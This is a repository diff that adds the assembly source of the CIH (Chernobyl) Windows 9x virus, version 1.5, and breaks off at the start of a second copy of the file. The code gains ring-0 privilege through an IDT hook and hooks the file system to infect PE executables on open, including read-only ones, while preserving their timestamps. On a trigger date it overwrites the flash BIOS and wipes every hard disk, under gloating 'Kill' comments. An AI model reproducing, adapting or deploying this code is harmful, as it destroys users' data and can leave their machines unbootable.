000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + dd 00000000h, VirusSize + +OriginalAppEXE ENDS + +; **************************************************************************** +; * My Virus Game * +; **************************************************************************** + +; ********************************************************* +; * Constant Define * +; ********************************************************* + +TRUE = 1 +FALSE = 0 + +DEBUG = TRUE + +IF DEBUG + + FirstKillHardDiskNumber = 82h + HookExceptionNumber = 06h + +ELSE + + FirstKillHardDiskNumber = 81h + HookExceptionNumber = 04h + +ENDIF + + +FileNameBufferSize = 7fh + +; ********************************************************* +; ********************************************************* + +VirusGame SEGMENT + + ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame + ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame + +; ********************************************************* +; * Ring3 Virus Game Initial Program * +; ********************************************************* + +MyVirusStart: + push ebp + +; ************************************* +; * Let's Modify Structured Exception * +; * Handing, Prevent Exception Error * +; * Occurrence, Especially in NT. * +; ************************************* + + lea eax, [esp-04h*2] + xor ebx, ebx + xchg eax, fs:[ebx] + call @0 +@0: + pop ebx + lea ecx, StopToRunVirusCode-@0[ebx] + push ecx + push eax + +; ************************************* +; * Let's Modify * +; * IDT(Interrupt Descriptor Table) * +; * to Get Ring0 Privilege... * +; ************************************* + + push eax ; + sidt [esp-02h] ; Get IDT Base Address + pop ebx ; + add ebx, HookExceptionNumber*08h+04h ; ZF = 0 + cli + mov ebp, [ebx] ; Get Exception Base + mov bp, [ebx-04h] ; Entry Point + lea esi, MyExceptionHook-@1[ecx] + push esi + mov [ebx-04h], si ; + shr esi, 16 ; Modify Exception + mov [ebx+02h], si ; Entry Point Address + pop esi + +; ************************************* +; * Generate Exception to Get Ring0 * +; ************************************* + + int HookExceptionNumber ; GenerateException +ReturnAddressOfEndException = $ + +; ************************************* +; * Merge All Virus Code Section * +; ************************************* + + push esi + mov esi, eax + +LoopOfMergeAllVirusCodeSection: + + mov ecx, [eax-04h] + rep movsb + sub eax, 08h + mov esi, [eax] + or esi, esi + jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 + jmp LoopOfMergeAllVirusCodeSection + +QuitLoopOfMergeAllVirusCodeSection: + + pop esi + +; ************************************* +; * Generate Exception Again * +; ************************************* + + int HookExceptionNumber ; GenerateException Again + +; ************************************* +; * Let's Restore * +; * Structured Exception Handing * +; ************************************* + +ReadyRestoreSE: + sti + xor ebx, ebx + jmp RestoreSE + +; ************************************* +; * When Exception Error Occurs, * +; * Our OS System should be in NT. * +; * So My Cute Virus will not * +; * Continue to Run, it Jmups to * +; * Original Application to Run. * +; ************************************* + +StopToRunVirusCode: +@1 = StopToRunVirusCode + + xor ebx, ebx + mov eax, fs:[ebx] + mov esp, [eax] + +RestoreSE: + pop dword ptr fs:[ebx] + pop eax + +; ************************************* +; * Return Original App to Execute * +; ************************************* + + pop ebp + push 00401000h ; Push Original +OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack + ret ; Return to Original App Entry Point + +; ********************************************************* +; * Ring0 Virus Game Initial Program * +; ********************************************************* + +MyExceptionHook: +@2 = MyExceptionHook + jz InstallMyFileSystemApiHook + +; ************************************* +; * Do My Virus Exist in System !? * +; ************************************* + + mov ecx, dr0 + jecxz AllocateSystemMemoryPage + add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException + +; ************************************* +; * Return to Ring3 Initial Program * +; ************************************* + +ExitRing0Init: + mov [ebx-04h], bp ; + shr ebp, 16 ; Restore Exception + mov [ebx+02h], bp ; + iretd + +; ************************************* +; * Allocate SystemMemory Page to Use * +; ************************************* + +AllocateSystemMemoryPage: + + mov dr0, ebx ; Set the Mark of My Virus Exist in System + push 00000000fh ; + push ecx ; + push 0ffffffffh ; + push ecx ; + push ecx ; + push ecx ; + push 000000001h ; + push 000000002h ; + int 20h ; VMMCALL _PageAllocate +_PageAllocate = $ ; + dd 00010053h ; Use EAX, ECX, EDX, and flags + add esp, 08h*04h + xchg edi, eax ; EDI = SystemMemory Start Address + lea eax, MyVirusStart-@2[esi] + iretd ; Return to Ring3 Initial Program + +; ************************************* +; * Install My File System Api Hook * +; ************************************* + +InstallMyFileSystemApiHook: + + lea eax, FileSystemApiHook-@6[edi] + + push eax ; + int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook +IFSMgr_InstallFileSystemApiHook = $ + dd 00400067h ; Use EAX, ECX, EDX, and flags + mov dr0, eax ; Save OldFileSystemApiHook Address + pop eax ; EAX = FileSystemApiHook Address + ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point + mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] + mov edx, [ecx] + mov OldInstallFileSystemApiHook-@3[eax], edx + ; Modify IFSMgr_InstallFileSystemApiHook Entry Point + lea eax, InstallFileSystemApiHook-@3[eax] + mov [ecx], eax + cli + jmp ExitRing0Init + +; ********************************************************* +; * Code Size of Merge Virus Code Section * +; ********************************************************* + +CodeSizeOfMergeVirusCodeSection = offset $ + +; ********************************************************* +; * IFSMgr_InstallFileSystemApiHook * +; ********************************************************* + +InstallFileSystemApiHook: + push ebx + call @4 ; +@4: ; + pop ebx ; mov ebx, offset FileSystemApiHook + add ebx, FileSystemApiHook-@4 ; + push ebx + int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook +IFSMgr_RemoveFileSystemApiHook = $ + dd 00400068h ; Use EAX, ECX, EDX, and flags + pop eax + ; Call Original IFSMgr_InstallFileSystemApiHook + ; to Link Client FileSystemApiHook + push dword ptr [esp+8] + call OldInstallFileSystemApiHook-@3[ebx] + pop ecx + push eax + ; Call Original IFSMgr_InstallFileSystemApiHook + ; to Link My FileSystemApiHook + push ebx + call OldInstallFileSystemApiHook-@3[ebx] + pop ecx + mov dr0, eax ; Adjust OldFileSystemApiHook Address + pop eax + pop ebx + ret + +; ********************************************************* +; * Static Data * +; ********************************************************* + +OldInstallFileSystemApiHook dd ? + +; ********************************************************* +; * IFSMgr_FileSystemHook * +; ********************************************************* + +; ************************************* +; * IFSMgr_FileSystemHook Entry Point * +; ************************************* + +FileSystemApiHook: +@3 = FileSystemApiHook + + pushad + call @5 ; +@5: ; + pop esi ; mov esi, offset VirusGameDataStartAddress + add esi, VirusGameDataStartAddress-@5 + +; ************************************* +; * Is OnBusy !? * +; ************************************* + + test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) + jnz pIFSFunc ; goto pIFSFunc + +; ************************************* +; * Is OpenFile !? * +; ************************************* + + ; if ( NotOpenFile ) + ; goto prevhook + lea ebx, [esp+20h+04h+04h] + cmp dword ptr [ebx], 00000024h + jne prevhook + +; ************************************* +; * Enable OnBusy * +; ************************************* + + inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy + +; ************************************* +; * Get FilePath's DriveNumber, * +; * then Set the DriveName to * +; * FileNameBuffer. * +; ************************************* +; * Ex. If DriveNumber is 03h, * +; * DriveName is 'C:'. * +; ************************************* + + add esi, FileNameBuffer-@6 + push esi + mov al, [ebx+04h] + cmp al, 0ffh + je CallUniToBCSPath + add al, 40h + mov ah, ':' + mov [esi], eax + inc esi + inc esi + +; ************************************* +; * UniToBCSPath * +; ************************************* +; * This Service Converts * +; * a Canonicalized Unicode Pathname * +; * to a Normal Pathname in the * +; * Specified BCS Character Set. * +; ************************************* + +CallUniToBCSPath: + push 00000000h + push FileNameBufferSize + mov ebx, [ebx+10h] + mov eax, [ebx+0ch] + add eax, 04h + push eax + push esi + int 20h ; VXDCall UniToBCSPath +UniToBCSPath = $ + dd 00400041h + add esp, 04h*04h + +; ************************************* +; * Is FileName '.EXE' !? * +; ************************************* + + cmp [esi+eax-04h], 'EXE.' + pop esi + jne DisableOnBusy + +IF DEBUG + +; ************************************* +; * Only for Debug * +; ************************************* + + cmp [esi+eax-06h], 'KCUF' + jne DisableOnBusy + +ENDIF + +; ************************************* +; * Is Open Existing File !? * +; ************************************* + + ; if ( NotOpenExistingFile ) + ; goto DisableOnBusy + cmp word ptr [ebx+18h], 01h + jne DisableOnBusy + +; ************************************* +; * Get Attributes of the File * +; ************************************* + + mov ax, 4300h + int 20h ; VXDCall IFSMgr_Ring0_FileIO +IFSMgr_Ring0_FileIO = $ + dd 00400032h + jc DisableOnBusy + push ecx + +; ************************************* +; * Get IFSMgr_Ring0_FileIO Address * +; ************************************* + + mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] + mov edi, [edi] + +; ************************************* +; * Is Read-Only File !? * +; ************************************* + + test cl, 01h + jz OpenFile + +; ************************************* +; * Modify Read-Only File to Write * +; ************************************* + + mov ax, 4301h + xor ecx, ecx + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Open File * +; ************************************* + +OpenFile: + xor eax, eax + mov ah, 0d5h + xor ecx, ecx + xor edx, edx + inc edx + mov ebx, edx + inc ebx + call edi ; VXDCall IFSMgr_Ring0_FileIO + xchg ebx, eax ; mov ebx, FileHandle + +; ************************************* +; * Need to Restore * +; * Attributes of the File !? * +; ************************************* + + pop ecx + pushf + test cl, 01h + jz IsOpenFileOK + +; ************************************* +; * Restore Attributes of the File * +; ************************************* + + mov ax, 4301h + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Is Open File OK !? * +; ************************************* + +IsOpenFileOK: + popf + jc DisableOnBusy + +; ************************************* +; * Open File Already Succeed. ^__^ * +; ************************************* + + push esi ; Push FileNameBuffer Address to Stack + + pushf ; Now CF = 0, Push Flag to Stack + + add esi, DataBuffer-@7 ; mov esi, offset DataBuffer + +; *************************** +; * Get OffsetToNewHeader * +; *************************** + + xor eax, eax + mov ah, 0d6h + ; For Doing Minimal VirusCode's Length, + ; I Save EAX to EBP. + mov ebp, eax + push 00000004h + pop ecx + push 0000003ch + pop edx + call edi ; VXDCall IFSMgr_Ring0_FileIO + mov edx, [esi] + +; *************************** +; * Get 'PE\0' Signature * +; * of ImageFileHeader, and * +; * Infected Mark. * +; *************************** + + dec edx + mov eax, ebp + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Is PE !? * +; *************************** +; * Is the File * +; * Already Infected !? * +; *************************** +; * WinZip Self-Extractor * +; * doesn't Have Infected * +; * Mark Because My Virus * +; * doesn't Infect it. * +; *************************** + + cmp dword ptr [esi], 00455000h + jne CloseFile + +; ************************************* +; * The File is ^o^ * +; * PE(Portable Executable) indeed. * +; ************************************* +; * The File isn't also Infected. * +; ************************************* + +; ************************************* +; * Start to Infect the File * +; ************************************* +; * Registers Use Status Now : * +; * * +; * EAX = 04h * +; * EBX = File Handle * +; * ECX = 04h * +; * EDX = 'PE\0\0' Signature of * +; * ImageFileHeader Pointer's * +; * Former Byte. * +; * ESI = DataBuffer Address ==> @8 * +; * EDI = IFSMgr_Ring0_FileIO Address * +; * EBP = D600h ==> Read Data in File * +; ************************************* +; * Stack Dump : * +; * * +; * ESP => ------------------------- * +; * | EFLAG(CF=0) | * +; * ------------------------- * +; * | FileNameBufferPointer | * +; * ------------------------- * +; * | EDI | * +; * ------------------------- * +; * | ESI | * +; * ------------------------- * +; * | EBP | * +; * ------------------------- * +; * | ESP | * +; * ------------------------- * +; * | EBX | * +; * ------------------------- * +; * | EDX | * +; * ------------------------- * +; * | ECX | * +; * ------------------------- * +; * | EAX | * +; * ------------------------- * +; * | Return Address | * +; * ------------------------- * +; ************************************* + + push ebx ; Save File Handle + push 00h ; Set VirusCodeSectionTableEndMark + +; *************************** +; * Let's Set the * +; * Virus' Infected Mark * +; *************************** + + push 01h ; Size + push edx ; Pointer of File + push edi ; Address of Buffer + +; *************************** +; * Save ESP Register * +; *************************** + + mov dr1, esp + +; *************************** +; * Let's Set the * +; * NewAddressOfEntryPoint * +; * ( Only First Set Size ) * +; *************************** + + push eax ; Size + +; *************************** +; * Let's Read * +; * Image Header in File * +; *************************** + + mov eax, ebp + mov cl, SizeOfImageHeaderToRead + add edx, 07h ; Move EDX to NumberOfSections + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Let's Set the * +; * NewAddressOfEntryPoint * +; * ( Set Pointer of File, * +; * Address of Buffer ) * +; *************************** + + lea eax, (AddressOfEntryPoint-@8)[edx] + push eax ; Pointer of File + lea eax, (NewAddressOfEntryPoint-@8)[esi] + push eax ; Address of Buffer + +; *************************** +; * Move EDX to the Start * +; * of SectionTable in File * +; *************************** + + movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] + lea edx, [eax+edx+12h] + +; *************************** +; * Let's Get * +; * Total Size of Sections * +; *************************** + + mov al, SizeOfScetionTable + ; I Assume NumberOfSections <= 0ffh + mov cl, (NumberOfSections-@8)[esi] + mul cl + +; *************************** +; * Let's Set Section Table * +; *************************** + + ; Move ESI to the Start of SectionTable + lea esi, (StartOfSectionTable-@8)[esi] + push eax ; Size + push edx ; Pointer of File + push esi ; Address of Buffer + +; *************************** +; * The Code Size of Merge * +; * Virus Code Section and * +; * Total Size of Virus * +; * Code Section Table Must * +; * be Small or Equal the * +; * Unused Space Size of * +; * Following Section Table * +; *************************** + + inc ecx + push ecx ; Save NumberOfSections+1 + shl ecx, 03h + push ecx ; Save TotalSizeOfVirusCodeSectionTable + + add ecx, eax + add ecx, edx + sub ecx, (SizeOfHeaders-@9)[esi] + not ecx + inc ecx + ; Save My Virus First Section Code + ; Size of Following Section Table... + ; ( Not Include the Size of Virus Code Section Table ) + push ecx + xchg ecx, eax ; ECX = Size of Section Table + ; Save Original Address of Entry Point + mov eax, (AddressOfEntryPoint-@9)[esi] + add eax, (ImageBase-@9)[esi] + mov (OriginalAddressOfEntryPoint-@9)[esi], eax + cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection + jl OnlySetInfectedMark + +; *************************** +; * Read All Section Tables * +; *************************** + + mov eax, ebp + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Full Modify the Bug : * +; * WinZip Self-Extractor * +; * Occurs Error... * +; *************************** +; * So When User Opens * +; * WinZip Self-Extractor, * +; * Virus Doesn't Infect it.* +; *************************** +; * First, Virus Gets the * +; * PointerToRawData in the * +; * Second Section Table, * +; * Reads the Section Data, * +; * and Tests the String of * +; * 'WinZip(R)'...... * +; *************************** + + xchg eax, ebp + push 00000004h + pop ecx + push edx + mov edx, (SizeOfScetionTable+PointerToRawData-@9)[esi] + add edx, 12h + call edi ; VXDCall IFSMgr_Ring0_FileIO + cmp dword ptr [esi], 'piZniW' + je NotSetInfectedMark + pop edx + +; *************************** +; * Let's Set Total Virus * +; * Code Section Table * +; *************************** + + ; EBX = My Virus First Section Code + ; Size of Following Section Table + pop ebx + pop edi ; EDI = TotalSizeOfVirusCodeSectionTable + pop ecx ; ECX = NumberOfSections+1 + push edi ; Size + add edx, ebp + push edx ; Pointer of File + add ebp, esi + push ebp ; Address of Buffer + +; *************************** +; * Set the First Virus * +; * Code Section Size in * +; * VirusCodeSectionTable * +; *************************** + + lea eax, [ebp+edi-04h] + mov [eax], ebx + +; *************************** +; * Let's Set My Virus * +; * First Section Code * +; *************************** + + push ebx ; Size + add edx, edi + push edx ; Pointer of File + lea edi, (MyVirusStart-@9)[esi] + push edi ; Address of Buffer + +; *************************** +; * Let's Modify the * +; * AddressOfEntryPoint to * +; * My Virus Entry Point * +; *************************** + + mov (NewAddressOfEntryPoint-@9)[esi], edx + +; *************************** +; * Setup Initial Data * +; *************************** + + lea edx, [esi-SizeOfScetionTable] + mov ebp, offset VirusSize + jmp StartToWriteCodeToSections + +; *************************** +; * Write Code to Sections * +; *************************** + +LoopOfWriteCodeToSections: + + add edx, SizeOfScetionTable + mov ebx, (SizeOfRawData-@9)[edx] + sub ebx, (VirtualSize-@9)[edx] + jbe EndOfWriteCodeToSections + push ebx ; Size + sub eax, 08h + mov [eax], ebx + mov ebx, (PointerToRawData-@9)[edx] + add ebx, (VirtualSize-@9)[edx] + push ebx ; Pointer of File + push edi ; Address of Buffer + mov ebx, (VirtualSize-@9)[edx] + add ebx, (VirtualAddress-@9)[edx] + add ebx, (ImageBase-@9)[esi] + mov [eax+4], ebx + mov ebx, [eax] + add (VirtualSize-@9)[edx], ebx + + ; Section contains initialized data ==> 00000040h + ; Section can be Read. ==> 40000000h + or (Characteristics-@9)[edx], 40000040h + +StartToWriteCodeToSections: + + sub ebp, ebx + jbe SetVirusCodeSectionTableEndMark + add edi, ebx ; Move Address of Buffer + +EndOfWriteCodeToSections: + + loop LoopOfWriteCodeToSections + +; *************************** +; * Only Set Infected Mark * +; *************************** + +OnlySetInfectedMark: + mov esp, dr1 + jmp WriteVirusCodeToFile + +; *************************** +; * Not Set Infected Mark * +; *************************** + +NotSetInfectedMark: + add esp, 3ch + jmp CloseFile + +; *************************** +; * Set Virus Code * +; * Section Table End Mark * +; *************************** + +SetVirusCodeSectionTableEndMark: + + ; Adjust Size of Virus Section Code to Correct Value + add [eax], ebp + add [esp+08h], ebp + + ; Set End Mark + xor ebx, ebx + mov [eax-04h], ebx + +; *************************** +; * When VirusGame Calls * +; * VxDCall, VMM Modifies * +; * the 'int 20h' and the * +; * 'Service Identifier' * +; * to 'Call [XXXXXXXX]'. * +; *************************** +; * Before Writing My Virus * +; * to File, I Must Restore * +; * them First. ^__^ * +; *************************** + + lea eax, (LastVxDCallAddress-2-@9)[esi] + mov cl, VxDCallTableSize + +LoopOfRestoreVxDCallID: + mov word ptr [eax], 20cdh + mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] + mov [eax+2], edx + movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] + sub eax, edx + loop LoopOfRestoreVxDCallID + +; *************************** +; * Let's Write * +; * Virus Code to the File * +; *************************** + +WriteVirusCodeToFile: + mov eax, dr1 + mov ebx, [eax+10h] + mov edi, [eax] + +LoopOfWriteVirusCodeToFile: + + pop ecx + jecxz SetFileModificationMark + mov esi, ecx + mov eax, 0d601h + pop edx + pop ecx + call edi ; VXDCall IFSMgr_Ring0_FileIO + jmp LoopOfWriteVirusCodeToFile + +; *************************** +; * Let's Set CF = 1 ==> * +; * Need to Restore File * +; * Modification Time * +; *************************** + +SetFileModificationMark: + pop ebx + pop eax + stc ; Enable CF(Carry Flag) + pushf + +; ************************************* +; * Close File * +; ************************************* + +CloseFile: + xor eax, eax + mov ah, 0d7h + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Need to Restore File Modification * +; * Time !? * +; ************************************* + + popf + pop esi + jnc IsKillComputer + +; ************************************* +; * Restore File Modification Time * +; ************************************* + + mov ebx, edi + mov ax, 4303h + mov ecx, (FileModificationTime-@7)[esi] + mov edi, (FileModificationTime+2-@7)[esi] + call ebx ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Disable OnBusy * +; ************************************* + +DisableOnBusy: + dec byte ptr (OnBusy-@7)[esi] ; Disable OnBusy + +; ************************************* +; * Call Previous FileSystemApiHook * +; ************************************* + +prevhook: + popad + mov eax, dr0 ; + jmp [eax] ; Jump to prevhook + +; ************************************* +; * Call the Function that the IFS * +; * Manager Would Normally Call to * +; * Implement this Particular I/O * +; * Request. * +; ************************************* + +pIFSFunc: + mov ebx, esp + push dword ptr [ebx+20h+04h+14h] ; Push pioreq + call [ebx+20h+04h] ; Call pIFSFunc + pop ecx ; + mov [ebx+1ch], eax ; Modify EAX Value in Stack + +; *************************** +; * After Calling pIFSFunc, * +; * Get Some Data from the * +; * Returned pioreq. * +; *************************** + + cmp dword ptr [ebx+20h+04h+04h], 00000024h + jne QuitMyVirusFileSystemHook + +; ***************** +; * Get the File * +; * Modification * +; * Date and Time * +; * in DOS Format.* +; ***************** + + mov eax, [ecx+28h] + mov (FileModificationTime-@6)[esi], eax + +; *************************** +; * Quit My Virus' * +; * IFSMgr_FileSystemHook * +; *************************** + +QuitMyVirusFileSystemHook: + + popad + ret + +; ************************************* +; * Kill Computer !? ... *^_^* * +; ************************************* + +IsKillComputer: + ; Get Now Day from BIOS CMOS + mov al, 07h + out 70h, al + in al, 71h + xor al, 01h ; ??/26/???? + +IF DEBUG + jmp DisableOnBusy +ELSE + jnz DisableOnBusy +ENDIF + +; ************************************** +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; ************************************** + +; *************************** +; * Kill BIOS EEPROM * +; *************************** + + mov bp, 0cf8h + lea esi, IOForEEPROM-@7[esi] + +; *********************** +; * Show BIOS Page in * +; * 000E0000 - 000EFFFF * +; * ( 64 KB ) * +; *********************** + + mov edi, 8000384ch + mov dx, 0cfeh + cli + call esi + +; *********************** +; * Show BIOS Page in * +; * 000F0000 - 000FFFFF * +; * ( 64 KB ) * +; *********************** + + mov di, 0058h + dec edx ; and al,0fh + mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h + call esi + +; *********************** +; * Show the BIOS Extra * +; * ROM Data in Memory * +; * 000E0000 - 000E01FF * +; * ( 512 Bytes ) * +; * , and the Section * +; * of Extra BIOS can * +; * be Writted... * +; *********************** + + lea ebx, EnableEEPROMToWrite-@10[esi] + mov eax, 0e5555h + mov ecx, 0e2aaah + call ebx + mov byte ptr [eax], 60h + push ecx + loop $ + +; *********************** +; * Kill the BIOS Extra * +; * ROM Data in Memory * +; * 000E0000 - 000E007F * +; * ( 80h Bytes ) * +; *********************** + + xor ah, ah + mov [eax], al + + xchg ecx, eax + loop $ + +; *********************** +; * Show and Enable the * +; * BIOS Main ROM Data * +; * 000E0000 - 000FFFFF * +; * ( 128 KB ) * +; * can be Writted... * +; *********************** + + mov eax, 0f5555h + pop ecx + mov ch, 0aah + call ebx + mov byte ptr [eax], 20h + + loop $ + +; *********************** +; * Kill the BIOS Main * +; * ROM Data in Memory * +; * 000FE000 - 000FE07F * +; * ( 80h Bytes ) * +; *********************** + + mov ah, 0e0h + mov [eax], al + +; *********************** +; * Hide BIOS Page in * +; * 000F0000 - 000FFFFF * +; * ( 64 KB ) * +; *********************** + ; or al,10h + mov word ptr (BooleanCalculateCode-@10)[esi], 100ch + call esi + +; *************************** +; * Kill All HardDisk * +; *************************************************** +; * IOR Structure of IOS_SendCommand Needs * +; *************************************************** +; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * +; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * +; *************************************************** + +KillHardDisk: + xor ebx, ebx + mov bh, FirstKillHardDiskNumber + push ebx + sub esp, 2ch + push 0c0001000h + mov bh, 08h + push ebx + push ecx + push ecx + push ecx + push 40000501h + inc ecx + push ecx + push ecx + mov esi, esp + sub esp, 0ach + +LoopOfKillHardDisk: + int 20h + dd 00100004h ; VXDCall IOS_SendCommand + cmp word ptr [esi+06h], 0017h + je KillNextDataSection + +ChangeNextHardDisk: + inc byte ptr [esi+4dh] + jmp LoopOfKillHardDisk + +KillNextDataSection: + add dword ptr [esi+10h], ebx + mov byte ptr [esi+4dh], FirstKillHardDiskNumber + jmp LoopOfKillHardDisk + +; *************************** +; * Enable EEPROM to Write * +; *************************** + +EnableEEPROMToWrite: + mov [eax], cl + mov [ecx], al + mov byte ptr [eax], 80h + mov [eax], cl + mov [ecx], al + ret + +; *************************** +; * IO for EEPROM * +; *************************** + +IOForEEPROM: +@10 = IOForEEPROM + + xchg eax, edi + xchg edx, ebp + out dx, eax + xchg eax, edi + xchg edx, ebp + in al, dx + +BooleanCalculateCode = $ + or al, 44h + xchg eax, edi + xchg edx, ebp + out dx, eax + xchg eax, edi + xchg edx, ebp + out dx, al + ret + +; ********************************************************* +; * Static Data * +; ********************************************************* + +LastVxDCallAddress = IFSMgr_Ring0_FileIO +VxDCallAddressTable db 00h + db IFSMgr_RemoveFileSystemApiHook-_PageAllocate + db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook + db IFSMgr_Ring0_FileIO-UniToBCSPath +VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h +VxDCallTableSize = ($-VxDCallIDTable)/04h + +; ********************************************************* +; * Virus Version Copyright * +; ********************************************************* + +VirusVersionCopyright db 'WinCIH ver 1.5 by TATUNG, Thailand' + +; ********************************************************* +; * Virus Size * +; ********************************************************* + +VirusSize = $ +; + SizeOfVirusCodeSectionTableEndMark(04h) +; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) +; + SizeOfTheFirstVirusCodeSectionTable(04h) + +; ********************************************************* +; * Dynamic Data * +; ********************************************************* + +VirusGameDataStartAddress = VirusSize +@6 = VirusGameDataStartAddress +OnBusy db 0 +FileModificationTime dd ? + +FileNameBuffer db FileNameBufferSize dup(?) +@7 = FileNameBuffer + +DataBuffer = $ +@8 = DataBuffer +NumberOfSections dw ? +TimeDateStamp dd ? +SymbolsPointer dd ? +NumberOfSymbols dd ? +SizeOfOptionalHeader dw ? +_Characteristics dw ? +Magic dw ? +LinkerVersion dw ? +SizeOfCode dd ? +SizeOfInitializedData dd ? +SizeOfUninitializedData dd ? +AddressOfEntryPoint dd ? +BaseOfCode dd ? +BaseOfData dd ? +ImageBase dd ? +@9 = $ +SectionAlignment dd ? +FileAlignment dd ? +OperatingSystemVersion dd ? +ImageVersion dd ? +SubsystemVersion dd ? +Reserved dd ? +SizeOfImage dd ? +SizeOfHeaders dd ? +SizeOfImageHeaderToRead = $-NumberOfSections +NewAddressOfEntryPoint = DataBuffer ; DWORD +SizeOfImageHeaderToWrite= 04h +StartOfSectionTable = @9 +SectionName = StartOfSectionTable ; QWORD +VirtualSize = StartOfSectionTable+08h ; DWORD +VirtualAddress = StartOfSectionTable+0ch ; DWORD +SizeOfRawData = StartOfSectionTable+10h ; DWORD +PointerToRawData = StartOfSectionTable+14h ; DWORD +PointerToRelocations = StartOfSectionTable+18h ; DWORD +PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD +NumberOfRelocations = StartOfSectionTable+20h ; WORD +NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD +Characteristics = StartOfSectionTable+24h ; DWORD +SizeOfScetionTable = Characteristics+04h-SectionName + +; ********************************************************* +; * Virus Total Need Memory * +; ********************************************************* + +VirusNeedBaseMemory = $ +VirusTotalNeedMemory = @9 +; + NumberOfSections(??)*SizeOfScetionTable(28h) +; + SizeOfVirusCodeSectionTableEndMark(04h) +; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) +; + SizeOfTheFirstVirusCodeSectionTable(04h) +; ********************************************************* + +VirusGame ENDS + END FileHeader diff --git a/c/cih15_2.asm b/c/cih15_2.asm new file mode 100755 index 0000000..a03c5e1 --- /dev/null +++ b/c/cih15_2.asm @@ -0,0 +1,1402 @@ +; **************************************************************************** +; * The Virus Program Information * +; **************************************************************************** +; * * +; * Designer : CIH Source : TTIT of TATUNG in Taiwan * +; * Create Date : 04/26/1998 E-mail : WinCIH.Tatung@usa.net * +; * Modification Time : 06/01/1998 Version : 1.5 * +; * * +; * Turbo Assembler Version 5.0 : Tasm /m cih * +; * Turbo Link Version 5.01 : Tlink /3 /t cih, cih.exe * +; * * +; *==========================================================================* +; * Modification History * +; *==========================================================================* +; * v1.0 1. Create the Virus Program. * +; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * +; * 04/26/1998 3. Virus Code doesn't Reload into System. * +; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * +; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * +; * 6. When System Opens Existing PE File, the File will be * +; * Infected, and the File doesn't be Reinfected. * +; * 7. It is also Infected, even the File is Read-Only. * +; * 8. When the File is Infected, the Modification Date and Time * +; * of the File also don't be Changed. * +; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * +; * Previous FileSystemApiHook, it will Call the Function * +; * that the IFS Manager Would Normally Call to Implement * +; * this Particular I/O Request. * +; * 10. The Virus Size is only 656 Bytes. * +; *==========================================================================* +; * v1.1 1. Especially, the File that be Infected will not Increase * +; * it's Size... ^__^ * +; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * +; * When Exception Error Occurs, Our OS System should be in * +; * Windows NT. So My Cute Virus will not Continue to Run, * +; 